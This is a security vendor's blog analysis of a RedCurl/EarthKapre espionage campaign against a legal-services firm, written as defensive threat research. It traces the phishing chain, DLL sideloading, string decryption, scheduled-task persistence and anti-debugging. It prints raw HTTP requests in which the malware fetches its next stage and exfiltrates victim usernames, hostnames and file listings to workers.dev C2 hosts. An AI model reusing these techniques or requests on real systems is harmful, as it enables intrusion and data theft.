Blog

Unraveling the Many Stages and Techniques Used by RedCurl/EarthKapre APT

BY eSentire Threat Response Unit (TRU)

February 13, 2025 | 13 MINS READ

Attacks/Breaches

Threat Intelligence

Threat Response Unit

TRU Positive/Bulletin

Want to learn more on how to achieve Cyber Resilience?

TALK TO AN EXPERT

Adversaries don’t work 9-5 and neither do we. At eSentire, our 24/7 SOCs are staffed with Elite Threat Hunters and Cyber Analysts who hunt, investigate, contain and respond to threats within minutes.

We have discovered some of the most dangerous threats and nation state attacks in our space – including the Kaseya MSP breach and the more_eggs malware.

Our Security Operations Centers are supported with Threat Intelligence, Tactical Threat Response and Advanced Threat Analytics driven by our Threat Response Unit – the TRU team.

In TRU Positives, eSentire’s Threat Response Unit (TRU) provides a summary of a recent threat investigation. We outline how we responded to the confirmed threat and what recommendations we have going forward.

Here’s the latest from our TRU Team…

What did we find?

In January 2025, the eSentire Threat Response Unit (TRU) identified the use of a legitimate Adobe executable (ADNotificationManager.exe) to sideload the EarthKapre/RedCurl loader.

EarthKapre, also known as RedCurl, is a highly sophisticated cyber espionage group known for its advanced operations, primarily targeting private-sector organizations with a focus on corporate espionage. The target of this attack is an organization within the Law Firms & Legal Services industry.

Upon execution of the final stage, TRU observed EarthKapre executing reconnaissance commands and tools like SysInternals Active Directory Explorer (AD Explorer), the usage of 7-Zip to password protect/archive the collected data, and exfiltration to cloud storage provider “Tab Digital” via PowerShell PUT request.

Initial access occurred when the victim opened an Indeed CV/Cover letter themed spam PDF from a spam email. The PDF contains a link to download a zip archive, which contains a mountable iso (img) file. Once the victim opens the img file, it is mounted to an external drive letter, e.g. D: and opens in file explorer.

The victim sees a single file, “CV Applicant *.scr” which is the legitimate signed Adobe executable “ADNotificationManager.exe”. After the victim opens the file, the EarthKapre loader (netutils.dll) is side loaded. This attack chain is described in the figure below.

Figure 1 – EarthKapre/RedCurl Attack Chain
Figure 1 – EarthKapre/RedCurl Attack Chain

The PDF file contains two links that lead to a zip archive containing an ISO image file matching, "CV Applicant [4 digits]-[6 digits].img”.

Figure 2 – Indeed-themed phishing pdf
Figure 2 – Indeed-themed phishing pdf

After extracting the zip archive and mounting the img file, the victim sees a file explorer window. Note, the victim would not see any of the hidden files shown below as the default setting in Windows hides hidden files. The only file the victim sees is “CV Application *.scr”.

Upon the victim opening the *.scr file, the RedCurl/EarthKapre dll (netutils.dll) is side loaded. The legitimate C runtime libraries shown below are also loaded.

Figure 3 – File explorer view after mounting img fileStage 1 Analysis
Figure 3 – File explorer view after mounting img file

Stage 1 Analysis

Before we dive into the analysis of the first stage, aka Simple Downloader, it is worth noting there are few detections in VirusTotal for this particular variant.

Figure 4 – Low VirusTotal hits
Figure 4 – Low VirusTotal hits

The purpose of the first stage is to download and execute the next stage. As previously reported by Trend Micro, RedCurl/EarthKapre makes use of a string decryption function that makes use of various APIs in bcrypt.dll. These APIs are used to generate a SHA256 hash based on a string. The first 16 bytes of the generated SHA256 hash is used as the AES key for decrypting strings via BCryptDecrypt:

The string used in the aforementioned process is XOR encrypted. The routine that handles decryption of it is called with several parameters, passing a pointer to store the decrypted key, a pointer to the encrypted key, and the XOR key 0x0D0196A9 to use for decryption.

Note, this routine is used throughout several stages of RedCurl/EarthKapre and not just this particular stage. It is also used for decrypting other strings as well and not just the key string.

Figure 5 – AES key decryption
Figure 5 – AES key decryption

The encryption routine can be seen below. Each index of the encrypted data is decrypted by multiplying the constant 48271 by the previous computation and XOR’ing against the encrypted byte.

Figure 6 – XOR decryption routine
Figure 6 – XOR decryption routine

After the AES key string is decrypted, it is used throughout for decrypting strings. The next figure displays part of how this is achieved.

First, a SHA256 is generated from the key string and 16 bytes of the resulting hash are used in a call to BCryptDecrypt.

Figure 7 – AES decryption routine
Figure 7 – AES decryption routine

To make understanding the code easier, we wrote a python script that is available here to find the AES key, decrypt all the strings, and set comments in IDA Pro.

Note, the Yara rules may need to be updated across future variants to capture the appropriate opcodes. For this particular variant, all of the strings are decrypted and output in IDA as seen below. These strings include various API names, a C2 URL (sm.vbigdatasolutions.workers[.]dev) and a user agent utilized for acquiring the next stage.

Remembering that the initial PDF was Indeed themed, the string “https://secure.indeed.com/auth” is passed in a call to the API ShellExecuteA to deceive the user by opening their default browser to that URL.

Figure 8 – Decrypting strings via EarthKapre-IDA.py
Figure 8 – Decrypting strings via EarthKapre-IDA.py

One of the first behaviors in the stage is to create a scheduled task via COM interface (taskschd.dll). The trigger time is generated via Windows API GetSystemTimeAsFileTime, which is then converted to the time in seconds since epoch. The time is then converted to string format via strftime with format specifier, "%Y-%m-%dT%H:%M:%S".

Figure 9 – Generate time for scheduled task to trigger
Figure 9 – Generate time for scheduled task to trigger

Note, that because the trigger time for the task is a time that technically occurs in the past by the time the task is created, it is not immediately triggered. The task is set to run every hour indefinitely, so the actual time the next stage is set to run is one hour after.

The threat actors are still using the LOLBin Program Compatibility Assistant (pcalua.exe) for the next stage, which in turn will execute the “CplApplet” export via rundll32.exe.

The "action" for the task is as follows:

The following figure displays the name of the scheduled task, which follows the format BrowserOSR-<BASE64_ENCODED_COMPUTER_NAME>.

Note, the computer name is acquired through the API GetComputerNameA. One additional thing to note is that this task is not stored in the root but rather its own folder “BrowserOSR” and uses the author “Google Corporation”.

Figure 10 – Scheduled task properties
Figure 10 – Scheduled task properties

Wininet.dll is then loaded and several APIs are resolved:

These APIs are used by the malware to send an HTTP request to the C2 to acquire the next stage. The contents of this HTTP request can be seen below. Note, the user agent changes across variants. For example, the user agent “Mozilla/5.0 (Windows NT; Windows NT 10.0;) WindowsPowerShell/5.1.20134.790” was seen in a previous variant.

POST /id HTTP/1.1
Content-type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0;) WindowsPowerShell/5.1  (VuMUAsryhPLsaqGXlSx)
Host: sm.vbigdatasolutions[.]workers.dev
Content-Length: 0
Cache-Control: no-cache

        
Figure 11 – First stage C2 HTTP request

The following figure shows the response from the C2 which contains the encrypted second stage payload. Note, the file name in the Content-Disposition header is set to a randomly named zip archive however the response contents are clearly missing the right header to be a zip archive.

Figure 13 – Read response from C2 in chunks of 0x2800 bytes
Figure 12 – First stage C2 HTTP response

The API InternetReadFile is called in a loop to read the response from the HTTP request in chunks of 0x2800 bytes until InternetReadFile returns FALSE. This response contains an encrypted DLL payload. The payload returned by the C2 in this case is 0x428A0 bytes, so the InternetReadFile API is called around 26 times.

Figure 13 – Read response from C2 in chunks of 0x2800 bytes
Figure 13 – Read response from C2 in chunks of 0x2800 bytes

We have re-implemented the decryption process in the python script available here. Note, the first stage binary, i.e., netutils.dll, needs to be passed to the script for the script to identify the XOR key to decrypt the encrypted payload, e.g., encrypted_payload.bin.

 Figure 14 – Decrypting the C2 encrypted response via EarthKapre-Stage2-Payload-Decrypter.py
Figure 14 – Decrypting the C2 encrypted response via EarthKapre-Stage2-Payload-Decrypter.py

Next, the string "CreateDirectoryA" is decrypted and resolved via GetProcAddress. Then, the string "WriteFile" is decrypted and resolved via GetProcAddress. After that, the string "CreateFileA" is decrypted and resolved via GetProcAddress. Then, the string "CloseHandle" is decrypted and resolved via GetProcAddress.

Next, CreateDirectoryA is called to create the folder to store the payload.

C:\Users\user\AppData\Roaming\BrowserOSR After that, CreateFileA is called with GENERIC_WRITE access to create a handle to the final stage. The payload is then decrypted via an XOR loop with the hard-coded XOR key "BmaEiOwsUa". The beginning of the decrypted blob contains 0x1869F junk bytes.

After incrementing the pointer to the payload buffer 0x186A0 bytes, the payload is written to disk through a call to WriteFile. Finally, after the scheduled task triggers after an hour, stage 2 executes.

Figure 15 – Decrypting the C2 encrypted response via XOR key, write payload to disk
Figure 15 – Decrypting the C2 encrypted response via XOR key, write payload to disk
Figure 16 – Decrypted payload preview in hex editor
Figure 16 – Decrypted payload preview in hex editor

Stage 2 Analysis

The same string decryption techniques described in the first stage are used again, but the key for AES decryption is derived differently. The first part of the key string is acquired through XOR decryption like before, however the GUID that was passed when this stage was executed is concatenated with this string e.g., "CnWX8J4d5Wizuwc7ccd991-41e1-45ab-b0de-b1d229bba429".

Because of this, sandboxes that rely on executing all known exports of the DLL will fail to detonate this stage properly.

Figure 17 – Decrypting stage 2 strings via EarthKapre-IDA.py
Figure 17 – Decrypting stage 2 strings via EarthKapre-IDA.py

The first decrypted string we will talk about is “www.msn.com”. This is used to see if the victim machine has internet, otherwise the malware will exit. Note, TRU has observed other domains used in this process such as bing.com as well. The HTTP request contents are as follows. If the response code is less than 400, internet is considered to be available.

GET https://www.msn.com/ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Pragma: no-cache
Host: www.msn.com
Connection: Keep-Alive
Cache-Control: no-cache
        
Figure 18 – Internet availability check via msn.com

Next, the malware resolves the victim's username via the GetUserNameA API and computer name via the GetComputerNameA API. This is followed by getting the directory paths for Program Files, Desktop, and Local AppData via the SHGetSpecialFolderPathA API.

Figure 19 – Get Program Files, Desktop, and Local AppData paths
Figure 19 – Get Program Files, Desktop, and Local AppData paths

The malware then calls the API SetFileApisToOEM for the process to use the OEM character set code page, then proceeds to get all file and directory names in Program Files, Desktop, and Local AppData via API calls to FindFirstFileA and FindNextFileA. The resulting data is concatenated with new lines.

Next, the malware generates an XOR key to use for encrypting the HTTP request payload’s values. The routine that generates the key is a string generator that makes use of the rand() function.

Note, the seed is set to the current process ID multiplied by a constant. With this particular sample, the constant was 0x679BCF5C.

Figure 20 – Setting seed via srand
Figure 20 – Setting seed via srand
The HTTP request payload contains several key/value pairs containing the victim's computer name, username, enumerated files/directories, the final stage’s export to be called, and finally the XOR key used to encrypt each value in the key/value pairs. Note, some of the key values are hard-coded or empty. Note, the key names, i.e. “wbpslyzvnir” are generated using the previously mentioned string generator.POST https://community.rmobileappdevelopment.workers[.]dev/ HTTP/1.1
Content-type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Host: community.rmobileappdevelopment.workers[.]dev
Content-Length: 1166
Cache-Control: no-cache

wbpslyzvnir=&mplya=&dfdxkzkvbuqtxb=&ndpqpeqwcxbbltixpw=1&thtpupwphzvzd==&waqjikiphmzl=&ggzykfgzwoavgyss=

        
Figure 21 – Stage 2 C2 request

The routine responsible for encrypting the values has been decompiled and can be seen below.

Figure 22 – XOR encryption routine
Figure 22 – XOR encryption routine

The random string generator routine can be seen below. As stated before, this generator is used to generate the XOR key, as well as the random strings used as keys in the request payload. The rand() function is called in a loop, and the result is mod’d with 0x1A and the result is added to 0x61.

Figure 23 – Random string generator routine
Figure 23 – Random string generator routine

Each value of the HTTP request is then base64 encoded. Note, the base64 encoding routine complies with “Base 64 Encoding with URL and Filename Safe Alphabet” defined in RFC 4648, which has the following character set:

    ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-
Figure 24 – Base64 character set

After decoding from base64 and decrypting each value with the XOR key in the HTTP request payload, we can see what the threat actors receive on their end: the victim’s username, computer name, and files/directories from the victim’s Desktop, Local AppData, and Program Files folders.

Figure 25 – Decrypted HTTP request contents
Figure 25 – Decrypted HTTP request contents

If the request to the C2 was successful, the string "IsDebuggerPresent" is then decrypted and resolved via GetProcAddress. It is then called to check if a debugger is present. If the check fails, the process exits. Otherwise, a random string is generated and ".tmp" is concatenated to it.

The C2 response is then checked via HttpQueryInfoA, passing the flags HTTP_QUERY_FLAG_NUMBER and HTTP_QUERY_CONTENT_LENGTH. The content length is checked to ensure it is greater than 10 bytes. If so, InternetReadFile is called in a loop, reading in chunks of 0x2800 bytes again like in the first stage.

The response data is then written to the current directory and the random string + ".tmp". This is achieved through the APIs: GetCurrentDirectoryA, CreateFileA, and WriteFile.

Figure 26 – Check for debugger and exit
Figure 26 – Check for debugger and exit

The aforementioned payload is then loaded via LoadLibraryA and the stage 3 export "IfIxStId" is resolved via GetProcAddress and is invoked through a call instruction. Finally, as an evasive measure, DeleteFileA() is then called to delete the third stage file from disk.

Note, the stage 3 export name can be found as a decrypted string in this stage or found passed as a value in the HTTP request payload.

Figure 27 – Execute third stage retrieved from C2
Figure 27 – Execute third stage retrieved from C2

Putting everything together, we have created the following collection of scripts:

Figure 28 – Running EarthKapre-Stage1-C2.py to download second stage
Figure 28 – Running EarthKapre-Stage1-C2.py to download second stage
Figure 29 – Running EarthKapre-Stage2-Payload-Decrypter.py to decrypt encrypted second stage
Figure 29 – Running EarthKapre-Stage2-Payload-Decrypter.py to decrypt encrypted second stage
Figure 30 – Running EarthKapre-Stage2-C2-Request-Decrypter.py to decrypt HTTP request payload
Figure 30 – Running EarthKapre-Stage2-C2-Request-Decrypter.py to decrypt HTTP request payload
Figure 31 – Running EarthKapre-Stage2-C2.py to get third stage payload

Reconnaissance and Exfiltration

RedCurl executed the following commands via a batch file dropped by the final stage into %APPDATA%\Acquisition\JKLYjn2.bat. This batch file is used to automate the collection of system information for reconnaissance purposes and to archive collected data for exfiltration:

Workers.dev

The C2 infrastructure is hosted by Cloudflare through Cloudflare Workers. According to Cloudflare, “Cloudflare Workers provides a serverless execution environment that allows you to create new applications or augment existing ones without configuring or maintaining infrastructure.”

Unfortunately for RedCurl, there are some limitations to Cloudflare Workers free tier - the threat actors are only able to receive 100,000 requests per day. Through slight modification of EarthKapre-Stage2-C2.py, we were able to cause the C2 to fail to return a response and ended up limiting all the other subdomains used in this attack as well.

Figure 32 – Cloudflare Workers limits
Figure 32 – Cloudflare Workers limits

What did we do?

Recommendations from the Threat Response Unit (TRU):

Indicators of Compromise

You can access the Indicators of Compromise here.

References

eSentire Unit
eSentire Threat Response Unit (TRU)

The eSentire Threat Response Unit (TRU) is an industry-leading threat research team committed to helping your organization become more resilient. TRU is an elite team of threat hunters and researchers that supports our 24/7 Security Operations Centers (SOCs), builds threat detection models across the eSentire XDR Cloud Platform, and works as an extension of your security team to continuously improve our Managed Detection and Response service. By providing complete visibility across your attack surface and performing global threat sweeps and proactive hypothesis-driven threat hunts augmented by original threat research, we are laser-focused on defending your organization against known and unknown threats.

Read the Latest from eSentire